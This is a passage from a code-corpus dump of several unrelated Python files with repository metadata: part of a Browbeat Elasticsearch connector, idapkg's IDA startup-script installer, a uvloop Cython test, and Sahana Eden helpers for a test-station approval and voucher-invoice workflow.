seconds") self.logger.error("Exception: {}".format(Err)) time.sleep(10) if i == (retry - 1): self.logger.error("Pushing Data to Elasticsearch failed in spite of retry," " dumping JSON for {} cached items".format(len(self.cache))) for item in self.cache: filename = item['test_name'] + '-' + item['identifier'] filename += '-elastic' + '.' + 'json' elastic_file = os.path.join(item['result_dir'], filename) with open(elastic_file, 'w') as result_file: json.dump(item['result'], result_file, indent=4, sort_keys=True) self.logger.info("Saved Elasticsearch consumable result JSON to {}". format(elastic_file)) self.cache = deque() self.last_upload = datetime.datetime.utcnow() return False def get_software_metadata(self, index, role, browbeat_uuid): nodes = {} results = self.query_uuid(index, browbeat_uuid) pattern = re.compile(".*{}.*".format(role)) if results: for result in results: for metadata in result['_source']['software-metadata']: for service in metadata: if pattern.match(metadata[service]['node_name']): if metadata[service]['node_name'] not in nodes: nodes[metadata[service][ 'node_name']] = metadata return nodes else: self.logger.error("UUID {} wasn't found".format(browbeat_uuid)) return False def get_version_metadata(self, index, browbeat_uuid): version = {} results = self.query_uuid(index, browbeat_uuid) if results: for result in results: version = result['_source']['version'] return version else: self.logger.error("UUID {} wasn't found".format(browbeat_uuid)) """ Currently this function will only compare two uuids. I (rook) am not convinced it is worth the effort to engineer anything > 2. """ def compare_metadata(self, index, role, uuids): meta = [] for browbeat_uuid in uuids: self.logger.info( "Querying Elastic : index [{}] : role [{}] : browbeat_uuid [{}] ".format( index, role, browbeat_uuid)) software_metadata = self.get_software_metadata( index, role, browbeat_uuid) if software_metadata: meta.append(software_metadata) else: return False version_metadata = self.get_version_metadata(index, browbeat_uuid) if version_metadata: self.logger.info( "\nUUID: {}\nVersion: {}\nBuild: {}".format( browbeat_uuid, version_metadata['osp_series'], version_metadata['build'])) ignore = [ "connection", "admin_url", "bind_host", "rabbit_hosts", "auth_url", "public_bind_host", "host", "key", "url", "auth_uri", "coordination_url", "swift_authurl", "admin_token", "memcached_servers", "api_servers", "osapi_volume_listen", "nova_url", "coordination_url", "memcache_servers", "novncproxy_host", "backend_url", "novncproxy_base_url", "metadata_listen", "osapi_compute_listen", "admin_bind_host", "glance_api_servers", "iscsi_ip_address", "registry_host", "auth_address", "swift_key", "auth_encryption_key", "metadata_proxy_shared_secret", "telemetry_secret", "heat_metadata_server_url", "heat_waitcondition_server_url", "transport_url"] if len(meta) < 2: self.logger.error("Unable to compare data-sets") return False for host in meta[0]: if host not in meta[1]: self.logger.error("Deployment differs: " "Host [{}] missing ".format(host)) continue for service in meta[0][host]: for options in meta[0][host][service].keys(): if options not in meta[1][host][service]: self.logger.error( "UUID {} " "- Missing Option : " "Host [{}] Service [{}] {}".format( uuids[1], host, service, options)) continue if isinstance(meta[0][host][service][options], dict): for key in meta[0][host][service][options].keys(): if key not in ignore: if key in meta[1][host][service][options]: value = meta[0][host][ service][options][key] new_value = meta[1][host][ service][options][key] if value != new_value: self.logger.info( "Difference found : " "Host [{}] Service [{}] Section {} {} [{}]\n" "New Value: {}\nOld Value: {}".format( host, service, options, key, meta[0][host][service][ options][key], value, new_value)) else: self.logger.error( "UUID {} - Missing Value : " "Host [{}] Service [{}] {} [{}]".format( uuids[1], host, service, options, key)) def query_uuid(self, index, browbeat_uuid): body = {'query': {"match": {"browbeat_uuid": { "query": browbeat_uuid, "type": "phrase"}}}} results = self.es.search(index=index, doc_type='result', body=body) if len(results['hits']['hits']) > 0: return results['hits']['hits'] else: return False def index_result(self, result, test_name, result_dir, identifier='', _type='result', _id=None): data = {} result['browbeat_uuid'] = str(browbeat_uuid) result['cloud_name'] = self.config['browbeat']['cloud_name'] result['browbeat_config'] = self.config data['result'] = result data['test_name'] = test_name data['result_dir'] = result_dir data['identifier'] = identifier data['_type'] = _type data['_id'] = _id self.cache.append(data) now = datetime.datetime.utcnow() if (len(self.cache) <= self.max_cache_size and (now - self.last_upload) <= self.max_cache_age): return True else: return self.flush_cache()

41.404459

98

0.474117

16998aafe3ee63cf494d30333664fff295995324

2,675

py

Python

pkg/main.py

bruce30262/idapkg

5d6af9bd59c5dc886d68335119fae41491f06ea7

[ "MIT" ]

125

2019-04-04T22:54:53.000Z

2021-12-15T02:13:12.000Z

pkg/main.py

bruce30262/idapkg

5d6af9bd59c5dc886d68335119fae41491f06ea7

[ "MIT" ]

19

2019-04-02T15:56:37.000Z

2022-03-17T09:12:52.000Z

pkg/main.py

Jinmo/pm

5d6af9bd59c5dc886d68335119fae41491f06ea7

[ "MIT" ]

14

2019-05-29T17:31:08.000Z

2021-09-26T01:34:42.000Z

import os import ida_diskio from . import __version__ from .config import g from .logger import getLogger from .package import LocalPackage from .virtualenv_utils import prepare_virtualenv log = getLogger(__name__) RC = b""" _idapkg_basedir = os.path.expanduser(os.path.join('~', 'idapkg')) def init_idapkg(basedir): "idapythonrc.py is a perfect place to initialize IDAUSR variable" import os import sys import json def usage(): print("idapkg is not installed or corrupted.") print("please use the installation script below:") print("https://github.com/Jinmo/idapkg") config = os.path.join(basedir, 'config.json') if os.path.isfile(config): try: with open(config, 'rb') as f: j = json.load(f) packages_path = j['path']['packages'] idapkg_path = os.path.join(packages_path, 'idapkg') assert os.path.isdir(idapkg_path), "idapkg package does not exist" # idapkg doesn't have any plugins. just load to path. # XXX: replace this with some package-related routines sys.path.append(idapkg_path) from pkg.main import init_environment init_environment() except Exception: import traceback traceback.print_exc() return usage() else: return usage() init_idapkg(_idapkg_basedir) del init_idapkg, _idapkg_basedir """ SEP = b'\n# idapkg version: ', b'# idapkg end\n' def update_pythonrc(): rcpath = os.path.join(ida_diskio.get_user_idadir(), "idapythonrc.py") sep_with_ver = SEP[0] + __version__.encode() payload = b'%s\n%s\n%s' % (sep_with_ver, RC.strip(), SEP[1]) if os.path.isfile(rcpath): with open(rcpath, 'rb') as f: py = f.read() if payload in py: return if all(x in py for x in SEP): py = py.split(SEP[0], 1) py = py[0] + py[1].split(SEP[1], 1)[1] py = payload + py log.info('Updating idapkg into idapythonrc.py.') else: py = payload log.info('Added idapkg into idapythonrc.py. Will work after restarting!') with open(rcpath, 'wb') as f: f.write(py) def init_environment(_load=True): """ Must be called from idapythonrc.py. I didn't test other cases. """ log.info("idapkg version %s" % __version__) update_pythonrc() prepare_virtualenv(g['path']['virtualenv']) ifred = LocalPackage.by_name('ifred') if ifred: ifred.load() from . import actions for pkg in LocalPackage.all(): pkg.populate_env()

27.864583

81

0.608224

bc6555ffc0e998f2ec4e2961a4b8599793b282da

1,119

py

Python

tests/test_cython.py

Psycojoker/uvloop

03487c80a508ea92e66f976fa196e64514894205

[ "Apache-2.0", "MIT" ]

null

tests/test_cython.py

Psycojoker/uvloop

03487c80a508ea92e66f976fa196e64514894205

[ "Apache-2.0", "MIT" ]

null

tests/test_cython.py

Psycojoker/uvloop

03487c80a508ea92e66f976fa196e64514894205

[ "Apache-2.0", "MIT" ]

1

2019-09-24T18:25:43.000Z

import asyncio from uvloop._testbase import UVTestCase class TestCythonIntegration(UVTestCase): def test_cython_coro_is_coroutine(self): from uvloop.loop import _test_coroutine_1 from asyncio.coroutines import _format_coroutine coro = _test_coroutine_1() self.assertTrue( _format_coroutine(coro).startswith('_test_coroutine_1() done')) self.assertEqual(_test_coroutine_1.__qualname__, '_test_coroutine_1') self.assertEqual(_test_coroutine_1.__name__, '_test_coroutine_1') self.assertTrue(asyncio.iscoroutine(coro)) fut = asyncio.ensure_future(coro, loop=self.loop) self.assertTrue(isinstance(fut, asyncio.Future)) self.assertTrue(isinstance(fut, asyncio.Task)) fut.cancel() with self.assertRaises(asyncio.CancelledError): self.loop.run_until_complete(fut) try: _format_coroutine(coro) # This line checks against Cython segfault except TypeError: # TODO: Fix Cython to not reset __name__/__qualname__ to None pass coro.close()

33.909091

79

0.691689

c9076aae20a1309d440fe81fd01cd897728b6782

87,564

py

Python

modules/templates/RLPPTM/helpers.py

armin11/eden

70834282bc1dee7d1bc00ea617c384755f3bf806

[ "MIT" ]

1

2021-08-11T13:52:57.000Z

modules/templates/RLPPTM/helpers.py

armin11/eden

70834282bc1dee7d1bc00ea617c384755f3bf806

[ "MIT" ]

1

2021-07-19T05:05:48.000Z

modules/templates/RLPPTM/helpers.py

armin11/eden

70834282bc1dee7d1bc00ea617c384755f3bf806

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Helper functions and classes for RLPPTM template @license: MIT """ import json from gluon import current, Field, URL, \ CRYPT, IS_EMAIL, IS_IN_SET, IS_LOWER, IS_NOT_IN_DB, \ SQLFORM, A, DIV, H4, H5, I, INPUT, LI, P, SPAN, TABLE, TD, TH, TR, UL from s3 import ICON, IS_FLOAT_AMOUNT, JSONERRORS, S3DateTime, \ S3Method, S3Represent, s3_fullname, s3_mark_required, s3_str from s3db.pr import pr_PersonRepresentContact, pr_default_realms # ============================================================================= def get_role_realms(role): """ Get all realms for which a role has been assigned @param role: the role ID or role UUID @returns: list of pe_ids the current user has the role for, None if the role is assigned site-wide, or an empty list if the user does not have the role, or no realm for the role """ db = current.db auth = current.auth s3db = current.s3db if isinstance(role, str): gtable = auth.settings.table_group query = (gtable.uuid == role) & \ (gtable.deleted == False) row = db(query).select(gtable.id, cache = s3db.cache, limitby = (0, 1), ).first() role_id = row.id if row else None else: role_id = role role_realms = [] user = auth.user if user: role_realms = user.realms.get(role_id, role_realms) return role_realms # ============================================================================= def get_managed_facilities(role="ORG_ADMIN", public_only=True): """ Get test stations managed by the current user @param role: the user role to consider @param public_only: only include sites with PUBLIC=Y tag @returns: list of site_ids """ s3db = current.s3db ftable = s3db.org_facility query = (ftable.obsolete == False) & \ (ftable.deleted == False) realms = get_role_realms(role) if realms: query = (ftable.realm_entity.belongs(realms)) & query elif realms is not None: # User does not have the required role, or at least not for any realms return realms if public_only: ttable = s3db.org_site_tag join = ttable.on((ttable.site_id == ftable.site_id) & \ (ttable.tag == "PUBLIC") & \ (ttable.deleted == False)) query &= (ttable.value == "Y") else: join = None sites = current.db(query).select(ftable.site_id, cache = s3db.cache, join = join, ) return [s.site_id for s in sites] # ============================================================================= def get_org_accounts(organisation_id): """ Get all user accounts linked to an organisation @param organisation_id: the organisation ID @returns: tuple (active, disabled, invited), each being a list of user accounts (auth_user Rows) """ auth = current.auth s3db = current.s3db utable = auth.settings.table_user oltable = s3db.org_organisation_user pltable = s3db.pr_person_user join = oltable.on((oltable.user_id == utable.id) & \ (oltable.deleted == False)) left = pltable.on((pltable.user_id == utable.id) & \ (pltable.deleted == False)) query = (oltable.organisation_id == organisation_id) rows = current.db(query).select(utable.id, utable.first_name, utable.last_name, utable.email, utable.registration_key, pltable.pe_id, join = join, left = left, ) active, disabled, invited = [], [], [] for row in rows: user = row[utable] person_link = row.pr_person_user if person_link.pe_id: if user.registration_key: disabled.append(user) else: active.append(user) else: invited.append(user) return active, disabled, invited # ----------------------------------------------------------------------------- def get_role_users(role_uid, pe_id=None, organisation_id=None): """ Look up users with a certain user role for a certain organisation @param role_uid: the role UUID @param pe_id: the pe_id of the organisation, or @param organisation_id: the organisation_id @returns: a dict {user_id: pe_id} of all active users with this role for the organisation """ db = current.db auth = current.auth s3db = current.s3db if not pe_id and organisation_id: # Look up the realm pe_id from the organisation otable = s3db.org_organisation query = (otable.id == organisation_id) & \ (otable.deleted == False) organisation = db(query).select(otable.pe_id, limitby = (0, 1), ).first() pe_id = organisation.pe_id if organisation else None # Get all users with this realm as direct OU ancestor from s3db.pr import pr_realm_users users = pr_realm_users(pe_id) if pe_id else None if users: # Look up those among the realm users who have # the role for either pe_id or for their default realm gtable = auth.settings.table_group mtable = auth.settings.table_membership ltable = s3db.pr_person_user utable = auth.settings.table_user join = [mtable.on((mtable.user_id == ltable.user_id) & \ ((mtable.pe_id == None) | (mtable.pe_id == pe_id)) & \ (mtable.deleted == False)), gtable.on((gtable.id == mtable.group_id) & \ (gtable.uuid == role_uid)), # Only verified+active accounts: utable.on((utable.id == mtable.user_id) & \ ((utable.registration_key == None) | \ (utable.registration_key == ""))) ] query = (ltable.user_id.belongs(set(users.keys()))) & \ (ltable.deleted == False) rows = db(query).select(ltable.user_id, ltable.pe_id, join = join, ) users = {row.user_id: row.pe_id for row in rows} return users if users else None # ----------------------------------------------------------------------------- def get_role_emails(role_uid, pe_id=None, organisation_id=None): """ Look up the emails addresses of users with a certain user role for a certain organisation @param role_uid: the role UUID @param pe_id: the pe_id of the organisation, or @param organisation_id: the organisation_id @returns: a list of email addresses """ contacts = None users = get_role_users(role_uid, pe_id = pe_id, organisation_id = organisation_id, ) if users: # Look up their email addresses ctable = current.s3db.pr_contact query = (ctable.pe_id.belongs(set(users.values()))) & \ (ctable.contact_method == "EMAIL") & \ (ctable.deleted == False) rows = current.db(query).select(ctable.value, orderby = ~ctable.priority, ) contacts = list(set(row.value for row in rows)) return contacts if contacts else None # ----------------------------------------------------------------------------- def get_role_hrs(role_uid, pe_id=None, organisation_id=None): """ Look up the HR records of users with a certain user role for a certain organisation @param role_uid: the role UUID @param pe_id: the pe_id of the organisation, or @param organisation_id: the organisation_id @returns: a list of hrm_human_resource IDs """ hr_ids = None users = get_role_users(role_uid, pe_id = pe_id, organisation_id = organisation_id, ) if users: # Look up their HR records s3db = current.s3db ptable = s3db.pr_person htable = s3db.hrm_human_resource join = htable.on((htable.person_id == ptable.id) & \ (htable.deleted == False)) query = (ptable.pe_id.belongs(set(users.values()))) & \ (ptable.deleted == False) rows = current.db(query).select(htable.id, join = join, ) hr_ids = list(set(row.id for row in rows)) return hr_ids if hr_ids else None # ----------------------------------------------------------------------------- def assign_pending_invoices(billing_id, organisation_id=None, invoice_id=None): """ Auto-assign pending invoices in a billing to accountants, taking into account their current workload @param billing_id: the billing ID @param organisation_id: the ID of the accountant organisation @param invoice_id: assign only this invoice """ db = current.db s3db = current.s3db if not organisation_id: # Look up the accounting organisation for the billing btable = s3db.fin_voucher_billing query = (btable.id == billing_id) billing = db(query).select(btable.organisation_id, limitby = (0, 1), ).first() if not billing: return organisation_id = billing.organisation_id if organisation_id: # Look up the active accountants of the accountant org accountants = get_role_hrs("PROGRAM_ACCOUNTANT", organisation_id = organisation_id, ) else: accountants = None # Query for any pending invoices of this billing cycle itable = s3db.fin_voucher_invoice if invoice_id: query = (itable.id == invoice_id) else: query = (itable.billing_id == billing_id) query &= (itable.status != "PAID") & (itable.deleted == False) if accountants: # Limit to invoices that have not yet been assigned to any # of the accountants in charge: query &= ((itable.human_resource_id == None) | \ (~(itable.human_resource_id.belongs(accountants)))) # Get the invoices invoices = db(query).select(itable.id, itable.human_resource_id, ) if not invoices: return # Look up the number of pending invoices assigned to each # accountant, to get a measure for their current workload workload = {hr_id: 0 for hr_id in accountants} query = (itable.status != "PAID") & \ (itable.human_resource_id.belongs(accountants)) & \ (itable.deleted == False) num_assigned = itable.id.count() rows = db(query).select(itable.human_resource_id, num_assigned, groupby = itable.human_resource_id, ) for row in rows: workload[row[itable.human_resource_id]] = row[num_assigned] # Re-assign invoices # - try to distribute workload evenly among the accountants for invoice in invoices: hr_id, num = min(workload.items(), key=lambda item: item[1]) invoice.update_record(human_resource_id = hr_id) workload[hr_id] = num + 1 elif not invoice_id: # Unassign all pending invoices db(query).update(human_resource_id = None) # ----------------------------------------------------------------------------- def check_invoice_integrity(row): """ Rheader-helper to check and report invoice integrity @param row: the invoice record @returns: integrity check result """ billing = current.s3db.fin_VoucherBilling(row.billing_id) try: checked = billing.check_invoice(row.id) except ValueError: checked = False T = current.T if checked: return SPAN(T("Ok"), I(_class="fa fa-check"), _class="record-integrity-ok", ) else: current.response.error = T("This invoice may be invalid - please contact the administrator") return SPAN(T("Failed"), I(_class="fa fa-exclamation-triangle"), _class="record-integrity-broken", ) # ----------------------------------------------------------------------------- def get_stats_projects(): """ Find all projects the current user can report test results, i.e. - projects marked as STATS=Y where - the current user has the VOUCHER_PROVIDER role for a partner organisation @status: obsolete, test results shall be reported for all projects """ permitted_realms = current.auth.permission.permitted_realms realms = permitted_realms("disease_case_diagnostics", method = "create", c = "disease", f = "case_diagnostics", ) if realms is not None and not realms: return [] s3db = current.s3db otable = s3db.org_organisation ltable = s3db.project_organisation ttable = s3db.project_project_tag oquery = otable.deleted == False if realms: oquery = otable.pe_id.belongs(realms) & oquery join = [ltable.on((ltable.project_id == ttable.project_id) & \ (ltable.deleted == False)), otable.on((otable.id == ltable.organisation_id) & oquery), ] query = (ttable.tag == "STATS") & \ (ttable.value == "Y") & \ (ttable.deleted == False) rows = current.db(query).select(ttable.project_id, cache = s3db.cache, join = join, groupby = ttable.project_id, ) return [row.project_id for row in rows] # ----------------------------------------------------------------------------- def can_cancel_debit(debit): """ Check whether the current user is entitled to cancel a certain voucher debit: * User must have the VOUCHER_PROVIDER role for the organisation that originally accepted the voucher (not even ADMIN-role can override this requirement) @param debit: the debit (Row, must contain the debit pe_id) @returns: True|False """ auth = current.auth user = auth.user if user: # Look up the role ID gtable = auth.settings.table_group query = (gtable.uuid == "VOUCHER_PROVIDER") role = current.db(query).select(gtable.id, cache = current.s3db.cache, limitby = (0, 1), ).first() if not role: return False # Get the realms they have this role for realms = user.realms if role.id in realms: role_realms = realms.get(role.id) else: # They don't have the role at all return False if not role_realms: # User has a site-wide VOUCHER_PROVIDER role, however # for cancellation of debits they must be affiliated # with the debit owner organisation role_realms = pr_default_realms(user["pe_id"]) return debit.pe_id in role_realms else: # No user return False # ----------------------------------------------------------------------------- def configure_binary_tags(resource, tag_components): """ Configure representation of binary tags @param resource: the S3Resource @param tag_components: tuple|list of filtered tag component aliases """ T = current.T binary_tag_opts = {"Y": T("Yes"), "N": T("No")} for cname in tag_components: component = resource.components.get(cname) if component: ctable = component.table field = ctable.value field.default = "N" field.requires = IS_IN_SET(binary_tag_opts, zero=None) field.represent = lambda v, row=None: binary_tag_opts.get(v, "-") # ----------------------------------------------------------------------------- def workflow_tag_represent(options): """ Color-coded and icon-supported representation of facility approval workflow tags @param options: the tag options as dict {value: label} """ icons = {"REVISE": "fa fa-exclamation-triangle", "REVIEW": "fa fa-hourglass", "APPROVED": "fa fa-check", "N": "fa fa-minus-circle", "Y": "fa fa-check", } css_classes = {"REVISE": "workflow-red", "REVIEW": "workflow-amber", "APPROVED": "workflow-green", "N": "workflow-red", "Y": "workflow-green", } def represent(value, row=None): label = DIV(_class="approve-workflow") color = css_classes.get(value) if color: label.add_class(color) icon = icons.get(value) if icon: label.append(I(_class=icon)) label.append(options.get(value, "-")) return label return represent # ----------------------------------------------------------------------------- def configure_workflow_tags(resource, role="applicant", record_id=None): """ Configure facility approval workflow tags @param resource: the org_facility resource @param role: the user's role in the workflow (applicant|approver) @param record_id: the facility record ID @returns: the list of visible workflow tags [(label, selector)] """ T = current.T components = resource.components visible_tags = [] # Configure STATUS tag status_tag_opts = {"REVISE": T("Completion/Adjustment Required"), "READY": T("Ready for Review"), "REVIEW": T("Review Pending"), "APPROVED": T("Approved##actionable"), } selectable = None status_visible = False review_tags_visible = False if role == "applicant" and record_id: # Check current status db = current.db s3db = current.s3db ftable = s3db.org_facility ttable = s3db.org_site_tag join = ftable.on((ftable.site_id == ttable.site_id) & \ (ftable.id == record_id)) query = (ttable.tag == "STATUS") & (ttable.deleted == False) row = db(query).select(ttable.value, join=join, limitby=(0, 1)).first() if row: if row.value == "REVISE": review_tags_visible = True selectable = (row.value, "READY") elif row.value == "REVIEW": review_tags_visible = True status_visible = True component = components.get("status") if component: ctable = component.table field = ctable.value field.default = "REVISE" field.readable = status_visible if status_visible: if selectable: selectable_statuses = [(status, status_tag_opts[status]) for status in selectable] field.requires = IS_IN_SET(selectable_statuses, zero=None) field.writable = True else: field.writable = False visible_tags.append((T("Processing Status"), "status.value")) field.represent = workflow_tag_represent(status_tag_opts) # Configure review tags review_tag_opts = (("REVISE", T("Completion/Adjustment Required")), ("REVIEW", T("Review Pending")), ("APPROVED", T("Approved##actionable")), ) selectable = review_tag_opts if role == "approver" else None review_tags = (("mpav", T("MPAV Qualification")), ("hygiene", T("Hygiene Plan")), ("layout", T("Facility Layout Plan")), ) for cname, label in review_tags: component = components.get(cname) if component: ctable = component.table field = ctable.value field.default = "REVISE" if selectable: field.requires = IS_IN_SET(selectable, zero=None, sort=False) field.readable = field.writable = True else: field.readable = review_tags_visible field.writable = False if field.readable: visible_tags.append((label, "%s.value" % cname)) field.represent = workflow_tag_represent(dict(review_tag_opts)) # Configure PUBLIC tag binary_tag_opts = {"Y": T("Yes"), "N": T("No"), } selectable = binary_tag_opts if role == "approver" else None component = resource.components.get("public") if component: ctable = component.table field = ctable.value field.default = "N" if selectable: field.requires = IS_IN_SET(selectable, zero=None) field.writable = True else: field.requires = IS_IN_SET(binary_tag_opts, zero=None) field.writable = False field.represent = workflow_tag_represent(binary_tag_opts) visible_tags.append((T("In Public Registry"), "public.value")) visible_tags.append("site_details.authorisation_advice") return visible_tags # ----------------------------------------------------------------------------- def facility_approval_workflow(site_id): """ Update facility approval workflow tags @param site_id: the site ID """ db = current.db s3db = current.s3db workflow = ("STATUS", "MPAV", "HYGIENE", "LAYOUT", "PUBLIC") review = ("MPAV", "HYGIENE", "LAYOUT") # Get all tags for site ttable = s3db.org_site_tag query = (ttable.site_id == site_id) & \ (ttable.tag.belongs(workflow)) & \ (ttable.deleted == False) rows = db(query).select(ttable.id, ttable.tag, ttable.value, ) tags = {row.tag: row.value for row in rows} if any(k not in tags for k in workflow): ftable = s3db.org_facility facility = db(ftable.site_id == site_id).select(ftable.id, limitby = (0, 1), ).first() if facility: add_facility_default_tags(facility) facility_approval_workflow(site_id) update = {} notify = False status = tags.get("STATUS") if status == "REVISE": if all(tags[k] == "APPROVED" for k in review): update["PUBLIC"] = "Y" update["STATUS"] = "APPROVED" notify = True elif any(tags[k] == "REVIEW" for k in review): update["PUBLIC"] = "N" update["STATUS"] = "REVIEW" else: update["PUBLIC"] = "N" # Keep status REVISE elif status == "READY": update["PUBLIC"] = "N" if all(tags[k] == "APPROVED" for k in review): for k in review: update[k] = "REVIEW" else: for k in review: if tags[k] == "REVISE": update[k] = "REVIEW" update["STATUS"] = "REVIEW" elif status == "REVIEW": if all(tags[k] == "APPROVED" for k in review): update["PUBLIC"] = "Y" update["STATUS"] = "APPROVED" notify = True elif any(tags[k] == "REVIEW" for k in review): update["PUBLIC"] = "N" # Keep status REVIEW elif any(tags[k] == "REVISE" for k in review): update["PUBLIC"] = "N" update["STATUS"] = "REVISE" notify = True elif status == "APPROVED": if any(tags[k] == "REVIEW" for k in review): update["PUBLIC"] = "N" update["STATUS"] = "REVIEW" elif any(tags[k] == "REVISE" for k in review): update["PUBLIC"] = "N" update["STATUS"] = "REVISE" notify = True for row in rows: key = row.tag if key in update: row.update_record(value=update[key]) T = current.T public = update.get("PUBLIC") if public and public != tags["PUBLIC"]: if public == "Y": msg = T("Facility added to public registry") else: msg = T("Facility removed from public registry pending review") current.response.information = msg # Send Notifications if notify: tags.update(update) msg = facility_review_notification(site_id, tags) if msg: current.response.warning = \ T("Test station could not be notified: %(error)s") % {"error": msg} else: current.response.flash = \ T("Test station notified") # ----------------------------------------------------------------------------- def facility_review_notification(site_id, tags): """ Notify the OrgAdmin of a test station about the status of the review @param site_id: the test facility site ID @param tags: the current workflow tags @returns: error message on error, else None """ db = current.db s3db = current.s3db # Lookup the facility ftable = s3db.org_facility query = (ftable.site_id == site_id) & \ (ftable.deleted == False) facility = db(query).select(ftable.id, ftable.name, ftable.organisation_id, limitby = (0, 1), ).first() if not facility: return "Facility not found" organisation_id = facility.organisation_id if not organisation_id: return "Organisation not found" # Find the OrgAdmin email addresses email = get_role_emails("ORG_ADMIN", organisation_id = organisation_id, ) if not email: return "No Organisation Administrator found" # Data for the notification email data = {"name": facility.name, "url": URL(c = "org", f = "organisation", args = [organisation_id, "facility", facility.id], host = True, ), } status = tags.get("STATUS") if status == "REVISE": template = "FacilityReview" # Add advice dtable = s3db.org_site_details query = (dtable.site_id == site_id) & \ (dtable.deleted == False) details = db(query).select(dtable.authorisation_advice, limitby = (0, 1), ).first() if details and details.authorisation_advice: data["advice"] = details.authorisation_advice # Add explanations for relevant requirements review = (("MPAV", "FacilityMPAVRequirements"), ("HYGIENE", "FacilityHygienePlanRequirements"), ("LAYOUT", "FacilityLayoutRequirements"), ) ctable = s3db.cms_post ltable = s3db.cms_post_module join = ltable.on((ltable.post_id == ctable.id) & \ (ltable.module == "org") & \ (ltable.resource == "facility") & \ (ltable.deleted == False)) explanations = [] for tag, requirements in review: if tags.get(tag) == "REVISE": query = (ctable.name == requirements) & \ (ctable.deleted == False) row = db(query).select(ctable.body, join = join, limitby = (0, 1), ).first() if row: explanations.append(row.body) data["explanations"] = "\n\n".join(explanations) if explanations else "-" elif status == "APPROVED": template = "FacilityApproved" else: # No notifications for this status return "invalid status" # Lookup email address of current user from .notifications import CMSNotifications auth = current.auth if auth.user: cc = CMSNotifications.lookup_contact(auth.user.pe_id) else: cc = None # Send CMS Notification FacilityReview return CMSNotifications.send(email, template, data, module = "org", resource = "facility", cc = cc, ) # ----------------------------------------------------------------------------- def add_organisation_default_tags(organisation_id): """ Add default tags to a new organisation @param organisation_id: the organisation record ID """ db = current.db s3db = current.s3db # Add default tags otable = s3db.org_organisation ttable = s3db.org_organisation_tag dttable = ttable.with_alias("delivery") ittable = ttable.with_alias("orgid") left = [dttable.on((dttable.organisation_id == otable.id) & \ (dttable.tag == "DELIVERY") & \ (dttable.deleted == False)), ittable.on((ittable.organisation_id == otable.id) & \ (ittable.tag == "OrgID") & \ (ittable.deleted == False)), ] query = (otable.id == organisation_id) row = db(query).select(otable.id, otable.uuid, dttable.id, ittable.id, left = left, limitby = (0, 1), ).first() if row: org = row.org_organisation # Add DELIVERY-tag dtag = row.delivery if not dtag.id: ttable.insert(organisation_id = org.id, tag = "DELIVERY", value = "DIRECT", ) # Add OrgID-tag itag = row.orgid if not itag.id: try: uid = int(org.uuid[9:14], 16) except (TypeError, ValueError): import uuid uid = int(uuid.uuid4().urn[9:14], 16) value = "%06d%04d" % (uid, org.id) ttable.insert(organisation_id = org.id, tag = "OrgID", value = value, ) # ----------------------------------------------------------------------------- def add_facility_default_tags(facility_id, approve=False): """ Add default tags to a new facility @param facility_id: the facility record ID @param approve: whether called from approval-workflow """ db = current.db s3db = current.s3db ftable = s3db.org_facility ttable = s3db.org_site_tag workflow = ("PUBLIC", "MPAV", "HYGIENE", "LAYOUT", "STATUS") left = ttable.on((ttable.site_id == ftable.site_id) & \ (ttable.tag.belongs(workflow)) & \ (ttable.deleted == False)) query = (ftable.id == facility_id) rows = db(query).select(ftable.site_id, ttable.id, ttable.tag, ttable.value, left = left, ) if not rows: return else: site_id = rows.first().org_facility.site_id existing = {row.org_site_tag.tag: row.org_site_tag.value for row in rows if row.org_site_tag.id} public = existing.get("PUBLIC") == "Y" or approve review = ("MPAV", "HYGIENE", "LAYOUT") for tag in workflow: if tag in existing: continue elif tag == "PUBLIC": default = "Y" if public else "N" elif tag == "STATUS": if any(existing[t] == "REVISE" for t in review): default = "REVISE" elif any(existing[t] == "REVIEW" for t in review): default = "REVIEW" else: default = "APPROVED" if public else "REVIEW" else: default = "APPROVED" if public else "REVISE" ttable.insert(site_id = site_id, tag = tag, value = default, ) existing[tag] = default # ----------------------------------------------------------------------------- def set_facility_code(facility_id): """ Generate and set a unique facility code @param facility_id: the facility ID @returns: the facility code """ db = current.db s3db = current.s3db table = s3db.org_facility query = (table.id == facility_id) facility = db(query).select(table.id, table.uuid, table.code, limitby = (0, 1), ).first() if not facility or facility.code: return None try: uid = int(facility.uuid[9:14], 16) % 1000000 except (TypeError, ValueError): import uuid uid = int(uuid.uuid4().urn[9:14], 16) % 1000000 # Generate code import random suffix = "".join(random.choice("ABCFGHKLNPRSTWX12456789") for _ in range(3)) code = "%06d-%s" % (uid, suffix) facility.update_record(code=code) return code # ----------------------------------------------------------------------------- def applicable_org_types(organisation_id, group=None, represent=False): """ Look up organisation types by OrgGroup-tag @param organisation_id: the record ID of an existing organisation @param group: alternatively, the organisation group name @param represent: include type labels in the result @returns: a list of organisation type IDs, for filtering, or a dict {type_id: label}, for selecting """ db = current.db s3db = current.s3db ttable = s3db.org_organisation_type_tag if organisation_id: # Look up the org groups of this record gtable = s3db.org_group mtable = s3db.org_group_membership join = gtable.on(gtable.id == mtable.group_id) query = (mtable.organisation_id == organisation_id) & \ (mtable.deleted == False) rows = db(query).select(gtable.name, join=join) groups = {row.name for row in rows} q = (ttable.value.belongs(groups)) # Look up the org types the record is currently linked to ltable = s3db.org_organisation_organisation_type query = (ltable.organisation_id == organisation_id) & \ (ltable.deleted == False) rows = db(query).select(ltable.organisation_type_id) current_types = {row.organisation_type_id for row in rows} elif group: # Use group name as-is q = (ttable.value == group) # Look up all types tagged for this group query = (ttable.tag == "OrgGroup") & q & \ (ttable.deleted == False) rows = db(query).select(ttable.organisation_type_id, cache = s3db.cache, ) type_ids = {row.organisation_type_id for row in rows} if organisation_id: # Add the org types the record is currently linked to type_ids |= current_types if represent: labels = ttable.organisation_type_id.represent if hasattr(labels, "bulk"): labels.bulk(list(type_ids)) output = {str(t): labels(t) for t in type_ids} else: output = list(type_ids) return output # ============================================================================= def facility_map_popup(record): """ Custom map popup for facilities @param record: the facility record (Row) @returns: the map popup contents as DIV """ db = current.db s3db = current.s3db T = current.T table = s3db.org_facility # Custom Map Popup title = H4(record.name, _class="map-popup-title") details = TABLE(_class="map-popup-details") append = details.append def formrow(label, value, represent=None): return TR(TD("%s:" % label, _class="map-popup-label"), TD(represent(value) if represent else value), ) # Address gtable = s3db.gis_location query = (gtable.id == record.location_id) location = db(query).select(gtable.addr_street, gtable.addr_postcode, gtable.L4, gtable.L3, limitby = (0, 1), ).first() if location.addr_street: append(formrow(gtable.addr_street.label, location.addr_street)) place = location.L4 or location.L3 or "?" if location.addr_postcode: place = "%s %s" % 